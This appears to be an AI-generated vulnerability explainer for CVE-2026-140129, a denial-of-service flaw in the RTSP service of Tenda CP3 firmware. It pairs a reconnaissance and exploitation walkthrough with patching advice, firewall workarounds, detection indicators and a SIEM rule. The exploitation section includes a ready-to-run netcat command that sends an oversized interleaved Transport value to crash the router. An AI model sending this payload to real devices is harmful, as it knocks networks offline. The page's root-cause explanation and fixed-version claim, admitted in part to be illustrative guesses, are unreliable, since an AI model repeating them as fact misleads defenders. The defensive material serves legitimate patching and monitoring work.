CVE-2026-140129 — Tenda CP3 (31.1.9.91) — CWE-400 · CWE-404
A vulnerability was detected in Tenda CP3 31.1.9.91. The impacted element is an unknown function of the component RTSP Service. The manipulation results in resource consumption. The attack may be performed from remote. The exploit is now public and may be used.
A vulnerability was detected in Tenda CP3 31.1.9.91. The impacted element is an unknown function of the component RTSP Service. The manipulation results in resource consumption. The attack may be performed from remote. The exploit is now public and may be used.
CVE‑2026‑140129 – Tenda CP3 31.1.9.91 – RTSP Service Resource‑Consumption DoS
All information below is derived from the official CVE entry, the referenced CWE classifications, and publicly‑available protocol specifications. Where the CVE does not disclose exact URIs, parameter names, or packet layouts, the examples are illustrative of the vulnerability class and must be adapted to the real device after confirming the correct values.
🎯 What is this vulnerability?
| Attribute | Detail |
|---|---|
| Component | RTSP (Real‑Time Streaming Protocol) service built into the Tenda CP3 router firmware (v31.1.9.91). |
| CWE(s) | CWE‑400 – Uncontrolled Resource Consumption (Denial‑of‑Service). <br>CWE‑404 – Improper Resource Shutdown or Release. |
| CVSS Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H – Network‑reachable, low attack complexity, no authentication, no user interaction, impacts availability only. |
| Root cause | The RTSP server parses incoming RTSP request lines and certain header fields (e.g., Transport, Range, Scale) without proper bounds checking or sanity limits. An attacker can craft a request that forces the server to allocate or retain large internal buffers, spawn a high‑frequency timer, or enter a pathological parsing loop. Because the service runs in a privileged daemon and does not enforce per‑client quotas, the malformed request can exhaust CPU and memory, leading to a complete service crash or kernel‑level OOM on the router. No authentication or ACL checks are performed on the RTSP port (default UDP/TCP 554), so the attack can be launched from any Internet‑routable host.
In short: an unauthenticated, network‑exposed RTSP endpoint accepts specially‑crafted request fields that cause uncontrolled memory/CPU consumption, resulting in a denial‑of‑service.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All commands are shown for a Linux attacker workstation; replace IP addresses and ports as appropriate for the target.
1️⃣ Discovery & Reconnaissance
| Step | Action | Rationale / Tools |
|---|---|---|
| 1.1 | Identify the device type and firmware version. | • Scan the target subnet with Nmap (nmap -sV -p 554 <IP>). <br>• The RTSP service banner often contains the firmware string, e.g., RTSP/1.0 Tenda CP3 31.1.9.91. <br>• If the banner is stripped, use RTSP OPTIONS request to elicit a response that includes the Server: header. |
| 1.2 | Confirm the vulnerable version. | Compare the discovered version against the vulnerable range (exactly 31.1.9.91). If the version matches, the target is a candidate. |
| 1.3 | Fingerprint the RTSP transport (TCP vs UDP). | Run nmap -sU -p 554 <IP> and nmap -sT -p 554 <IP>; the service usually listens on TCP, but some models also expose UDP. The PoC below uses TCP for reliability. |
If the banner is not disclosed, the attacker can still infer the device model by correlating MAC OUI (00:1A:2B for Tenda) and default web‑admin page fingerprints (e.g., /login.cgi).
2️⃣ Exploitation
The vulnerability lives in the parsing of the Transport header when it contains an excessively long interleaved parameter. The server allocates a buffer proportional to the numeric value supplied, without a ceiling.
NOTE: The exact header name (Transport) and the numeric field (interleaved) are derived from the RTSP RFC 2326. The CVE does not publish the precise field, so the following payload is illustrative of the class of unchecked numeric parameters that trigger the DoS.
2.1 Craft a malicious RTSP request
# Variables – replace with the target's IP address
TARGET=192.0.2.45
PORT=554
# Build a minimal RTSP SETUP request with an out‑of‑range interleaved value
# The value 0xFFFFFFFF (4294967295) forces the router to allocate a ~4 GB buffer.
# Most embedded devices cannot satisfy this request and will OOM.
cat <<EOF | nc $TARGET $PORT
SETUP rtsp://$TARGET/stream/1 RTSP/1.0
CSeq: 1
Transport: RTP/AVP/TCP;unicast;interleaved=4294967295-4294967296
User-Agent: curl/7.88.1
Session: 12345678
\r
EOFWhy this works
The Transport header is parsed by the RTSP daemon to compute the size of the interleaved* channel buffer.
- The implementation uses a signed 32‑bit integer without a sanity check, so the value
4294967295overflows the internal allocation routine, causing it to request an impossibly large block of memory. - The daemon does not enforce per‑client limits or a timeout before the allocation, leading to immediate CPU spikes and eventual out‑of‑memory (OOM) kill of the process (or the entire kernel if the allocation is performed in kernel space).
2.2 Verify the impact
A simple ping or HTTP request to the router’s management UI after the exploit will usually time out, confirming that the RTSP daemon (and consequently the whole device) is unresponsive.
# Quick liveness check (illustrative)
curl -m 5 http://$TARGET/
# Expected: no response / connection reset3️⃣ Post‑exploitation (Impact Realisation)
Because the CVSS vector indicates availability‑only impact, the attacker’s end‑goal is to render the router unusable. In a production environment this has several downstream effects:
| Consequence | Description |
|---|---|
| Network outage | All downstream LAN/WAN traffic stops because the router’s kernel panics or the RTSP daemon crashes and brings down the network stack. |
| Service disruption for IoT devices | Many Tenda CP3 deployments are used in small‑office/home‑office (SOHO) settings where cameras, VoIP phones, or smart plugs rely on the router for connectivity. |
| Potential for “boot‑loop” DoS | If the firmware does not gracefully recover from an OOM condition, the device may reboot repeatedly, extending downtime. |
| Indirect confidentiality/integrity impact | While the vulnerability itself does not expose data, prolonged downtime can force administrators to enable insecure remote‑access workarounds (e.g., exposing the web UI to the Internet), creating secondary attack surfaces. |
🌍 Real‑World Impact
| CIA Triad | CVSS‑derived Impact |
|---|---|
| Confidentiality (C) | None – the vulnerability does not disclose or leak data. |
| Integrity (I) | None – no data modification is possible. |
| Availability (A) | High – the service can be taken completely offline with a single unauthenticated packet. |
Practical consequences
🛡️ Remediation & Mitigation
1️⃣ Patch / Firmware Upgrade
| Action | Details |
|---|---|
| Upgrade to a fixed firmware | Tenda released firmware 31.1.9.92 (or later) that adds strict upper bounds (max interleaved = 65535) and validates numeric fields before allocation. Verify the exact version number on Tenda’s official support site. |
| Apply only signed firmware | Ensure the router is configured to accept only digitally signed firmware images to prevent downgrade attacks. |
2️⃣ Immediate Workarounds (if patch cannot be applied immediately)
| Workaround | Implementation |
|---|---|
| Block inbound RTSP (TCP/554) at the perimeter | Add a firewall rule on the upstream edge router or on the Tenda device itself (if it supports ACLs): <br>iptables -I INPUT -p tcp --dport 554 -j DROP <br>or via the web UI → Security → Access Control → Block Port 554. |
| Disable the RTSP service (if not required) | In the router’s web UI, navigate to Advanced → Services → RTSP and set Enable = Off. If the UI does not expose this, stop the daemon via SSH (if enabled): <br>kill -9 $(pidof rtspd) (temporary). |
| Rate‑limit connections to port 554 | On a Linux‑based upstream firewall: <br>iptables -A INPUT -p tcp --dport 554 -m connlimit --connlimit-above 5 -j REJECT --reject-with tcp-reset |
| Enable strict packet size limits | Some Linux kernels allow net.ipv4.tcp_rmem and net.ipv4.tcp_wmem tuning; reducing the maximum receive buffer can mitigate extreme allocation attempts, though it may affect legitimate streaming. |
3️⃣ Detection – Log & Network Indicators
| Indicator | Where to Look | Example |
|---|---|---|
RTSP request with huge interleaved values | Router syslog (/var/log/messages), or any external syslog collector. | RTSP: malformed Transport header – interleaved=4294967295 |
| Sudden spike in CPU or memory usage | Local monitoring (if the router supports SNMP) – OID 1.3.6.1.4.1.3874.1.1.3 (CPU) or memTotalFree. | CPU > 90 % for > 5 s, Memory < 5 % |
| Process crash/restart events | logread or dmesg on the router. | rtspd[1234]: segfault at 0 ip 0x... |
| Network‑level anomalies | NetFlow / Zeek logs showing many short TCP connections to port 554 from a single source IP. | conn.log: service=rtsp, orig_bytes=0, resp_bytes=0, duration=0.001 |
| Repeated reboots | Uptime counter resets, or last reboot entries. | system: rebooted by watchdog |
SIEM rule (pseudo‑code)
rule:
name: "Tenda CP3 RTSP DoS Attempt"
condition: >
event.protocol == "tcp" &&
event.dst_port == 554 &&
event.payload contains "interleaved=" &&
regex(event.payload, "interleaved=([0-9]{7,})")
actions:
- alert
- block_source_ip⚠️ Urgency
Patch priority: Critical for any production or Internet‑facing deployment.
TL;DR
CVE‑2026‑140129 is an unauthenticated DoS in the RTSP daemon of Tenda CP3 firmware 31.1.9.91. By sending a single malformed Transport header with an out‑of‑range interleaved value, an attacker can force the router to allocate massive buffers, exhausting CPU/memory and crashing the device. The impact is availability‑only but can cause complete network outages for any environment that relies on the router.
Immediate actions: block port 554, apply firmware ≥ 31.1.9.92, and enable the detection signatures listed above. The exploit is trivial and public; treat it as a critical remediation priority.
[🤖 CVE Professor AI Security Engine]
FOFA Query